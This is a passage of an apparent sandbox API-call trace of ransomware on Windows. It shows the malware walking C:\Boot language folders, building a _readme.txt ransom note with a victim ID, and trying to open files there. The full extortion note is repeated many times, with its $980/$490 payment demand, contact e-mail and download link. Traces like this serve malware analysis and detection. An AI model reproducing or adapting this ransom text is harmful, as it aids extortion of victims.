out: lpMsg=0x3dcff08) returned 0 [0124.468] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.468] PathFindFileNameW (pszPath="C:\\Boot\\ko-KR\\") returned="ko-KR\\" [0124.468] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.468] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.468] PathFindFileNameW (pszPath="") returned="" [0124.468] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.468] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.468] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.468] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.468] PathAppendW (in: pszPath="C:\\Boot\\ko-KR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 1 [0124.468] PathFileExistsW (pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 0 [0124.469] lstrcpyW (in: lpString1=0x3ae4bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.469] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.469] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\_readme.txt" (normalized: "c:\\boot\\ko-kr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.469] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.469] PathFindExtensionW (pszPath="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned=".mui" [0124.469] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.469] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.469] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.469] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.469] PathFindFileNameW (pszPath="C:\\Boot\\nb-NO\\") returned="nb-NO\\" [0124.469] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.469] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.469] PathFindFileNameW (pszPath="") returned="" [0124.470] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.470] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.470] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.470] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.470] PathAppendW (in: pszPath="C:\\Boot\\nb-NO\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 1 [0124.470] PathFileExistsW (pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 0 [0124.470] lstrcpyW (in: lpString1=0x3ae4bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.470] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.470] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\_readme.txt" (normalized: "c:\\boot\\nb-no\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.470] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.471] PathFindExtensionW (pszPath="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned=".mui" [0124.471] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.471] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.471] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.471] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.471] PathFindFileNameW (pszPath="C:\\Boot\\nl-NL\\") returned="nl-NL\\" [0124.471] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.471] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.471] PathFindFileNameW (pszPath="") returned="" [0124.471] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.471] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.471] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.471] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.472] PathAppendW (in: pszPath="C:\\Boot\\nl-NL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 1 [0124.472] PathFileExistsW (pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 0 [0124.472] lstrcpyW (in: lpString1=0x3ae4bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.472] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.472] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\_readme.txt" (normalized: "c:\\boot\\nl-nl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.472] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.472] PathFindExtensionW (pszPath="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned=".mui" [0124.472] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.472] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.472] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.472] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.472] PathFindFileNameW (pszPath="C:\\Boot\\pl-PL\\") returned="pl-PL\\" [0124.472] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.472] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.473] PathFindFileNameW (pszPath="") returned="" [0124.473] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.473] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.473] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.473] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.473] PathAppendW (in: pszPath="C:\\Boot\\pl-PL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 1 [0124.473] PathFileExistsW (pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 0 [0124.473] lstrcpyW (in: lpString1=0x3ae4bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.473] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available 